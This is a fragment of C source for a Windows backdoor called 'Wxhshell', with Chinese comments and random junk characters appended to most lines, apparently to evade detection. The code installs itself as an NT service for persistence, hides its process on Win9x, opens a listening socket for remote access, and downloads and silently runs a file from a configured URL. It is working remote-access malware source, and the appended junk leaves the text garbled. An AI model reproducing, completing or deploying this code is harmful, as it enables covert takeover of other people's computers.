ULONG InheritedFromUniqueProcessId; t!RR5!
} PROCESS_BASIC_INFORMATION; z+I'N4*^
=r"8J5[f
PROCNTQSIP NtQueryInformationProcess; nf&PDv1
h\\fb[``
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O=UXe]D
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y$hYW
q`z/ S>
HANDLE hProcess; *,<A[XP
PROCESS_BASIC_INFORMATION pbi; CsHHJgx
P'.MwS
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &5puGnTZ
if(NULL == hInst ) return 0; "s!!\/^9C
)QYg[<e6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n&ZArJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Q\P]
-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rx2?y3pv
3/c3e{,!
if (!NtQueryInformationProcess) return 0; -F=?M+9[
yO*~)ALb+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^hq+
L^$^
if(!hProcess) return 0;
"1O!Ck_n
<knf^D<"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {hQ0=rv<
8*7t1$
CloseHandle(hProcess); &
$E[l'
m,}0p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~C[p}MED
if(hProcess==NULL) return 0; +UbSqp1BS
)_bc:6Q
HMODULE hMod; Zjis0a]v~k
char procName[255]; (:9yeP1
unsigned long cbNeeded; k(LZ,WSR
HJ#3wk "W
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,/0Q($oz
rR`'l=,t
CloseHandle(hProcess); \kSoDY`l&
Zoe>Ow8mE`
if(strstr(procName,"services")) return 1; // 以服务启动 LXYpP-E
6v8HR}iK
return 0; // 注册表启动 &"HxAK)f
} O/g|E47
p3tu_If
// 主模块 h OYm
=r
int StartWxhshell(LPSTR lpCmdLine) 9R_2>BDn
{ 9/A$3#wF
SOCKET wsl; 5=/&[=
BOOL val=TRUE; /`(Kbwh
int port=0; 1Q_ C
struct sockaddr_in door; ?88k`T'EI
+;z^qn
if(wscfg.ws_autoins) Install(); WP7RX|7
eu=G[>
port=atoi(lpCmdLine); :"m~tU3&
(w4w
if(port<=0) port=wscfg.ws_port; }/tT=G]91
cr GFU?8
WSADATA data; LX<arHz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #,dNhUV#
?%RAX CK
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;+v5li
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h>Z NPP8N
door.sin_family = AF_INET; Oi#4|*b{W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]vj.s/F~
door.sin_port = htons(port); 758`lfz=_
nW)-bAV<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5cc;8i
closesocket(wsl); J%VcvBaJm
return 1; 0$=Uhi
} ?O(@BT
BR&T,x/d
if(listen(wsl,2) == INVALID_SOCKET) { ]5(T{
closesocket(wsl); _#[~?g`
return 1; SCwAAE9s]
} RF3?q6j ,
Wxhshell(wsl); pypW
WSACleanup(); gut[q
DI9hy/T(
return 0; <//82j+px
jA'qXc+\
} t "y[
-NzO ,?
// 以NT服务方式启动 (PVK|Q55y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
Zl,c+/
{ }"}
z7Xb0
DWORD status = 0; So?.V4aD_
DWORD specificError = 0xfffffff; 3=[#(p:
W&M=%
serviceStatus.dwServiceType = SERVICE_WIN32;
|gXtP-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eZ>KA+C[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MmIVTf4
serviceStatus.dwWin32ExitCode = 0; ^b{ -y
serviceStatus.dwServiceSpecificExitCode = 0; TcB^Sctf
serviceStatus.dwCheckPoint = 0; -Iq
W@|N
serviceStatus.dwWaitHint = 0; ~bm
VpoI
_(J;!,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T,'{0q
if (hServiceStatusHandle==0) return; GCrIaZ
1zo0/<dk
status = GetLastError(); 3C:!\R
if (status!=NO_ERROR) ^3>Qf
{ MHF31/g\
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z|78>0SAt
serviceStatus.dwCheckPoint = 0; euxkw]`h6
serviceStatus.dwWaitHint = 0; hbZ]DRg
serviceStatus.dwWin32ExitCode = status; Qu 7#^%=
serviceStatus.dwServiceSpecificExitCode = specificError; )gX7qQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z@70{*
return; 4}i2j
} SW94(4qo
LwPZR E#
serviceStatus.dwCurrentState = SERVICE_RUNNING; fj
14'T
serviceStatus.dwCheckPoint = 0; _:RQ9x'
serviceStatus.dwWaitHint = 0; gK&MdF*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :S['hBMN
} ioIOyj
Drn{ucIs
// 处理NT服务事件,比如:启动、停止 Kmk}Yz
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z`_`^ \"
{ 8}B*a;d
switch(fdwControl) R,Gr{"H
{ "hE/f~\
case SERVICE_CONTROL_STOP: !@6P>HzY$
serviceStatus.dwWin32ExitCode = 0; XsH(8-n0
serviceStatus.dwCurrentState = SERVICE_STOPPED; JpI(Vcd
serviceStatus.dwCheckPoint = 0; `zRE $O
serviceStatus.dwWaitHint = 0; *.'9 eC0s
{ F'v3caE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Jt7IM!9[
} B~%'YQk
return; O?p8Gjf
case SERVICE_CONTROL_PAUSE: g&79?h4UXQ
serviceStatus.dwCurrentState = SERVICE_PAUSED; t h!$R
break; bHJKX>@{
case SERVICE_CONTROL_CONTINUE: M-#OPj*
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8Ce|Q8<8]
break; y15 MWZ
case SERVICE_CONTROL_INTERROGATE: [>P9_zID
break; $A4rdhvd
}; jb~W(8cj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tEU}?k+:j)
} 8LI
aN}
`&3hfiI}
// 标准应用程序主函数 For`rfR
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |E&
Fe8
{ g431+O0K1
I "8:IF
// 获取操作系统版本 "7]YvZYu0
OsIsNt=GetOsVer(); TT85G
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fi7G S;
'zRi;:UHA
// 从命令行安装 %i!=.7o.
if(strpbrk(lpCmdLine,"iI")) Install(); .Lwp`{F/
. J/x@
// 下载执行文件 kiah,7V/
if(wscfg.ws_downexe) { S":55YQev!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #!A'6SgbkM
WinExec(wscfg.ws_filenam,SW_HIDE); qw#wZ'<n
} <yoCW?#
FW~{io]n
if(!OsIsNt) { .Mn_T*F
// 如果时win9x,隐藏进程并且设置为注册表启动 z~O#0Q!
HideProc(); v?s]up @@h
StartWxhshell(lpCmdLine); O^Y}fo'
} =up!lg^M
else \d"uR@$3mG
if(StartFromService()) T[~8u9/
// 以服务方式启动 A#b`{C~l
StartServiceCtrlDispatcher(DispatchTable); *btLd7c%
else Q|gw\.]$&[
// 普通方式启动 X@["Jjp
StartWxhshell(lpCmdLine); Z+gG.|"k
'8k{\>
return 0; 4R c_C0O
}